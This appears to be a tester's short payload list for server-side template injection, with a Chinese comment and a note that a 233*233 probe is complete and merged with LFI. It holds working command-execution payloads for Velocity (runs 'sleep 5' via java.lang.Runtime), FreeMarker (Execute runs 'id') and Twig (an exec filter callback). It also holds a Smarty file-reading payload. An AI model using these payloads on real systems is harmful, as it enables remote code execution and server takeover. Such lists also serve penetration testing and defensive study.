$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }{self::getStreamVariable($SCRIPT_NAME)}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
233*233已完成,和lfi合在一起了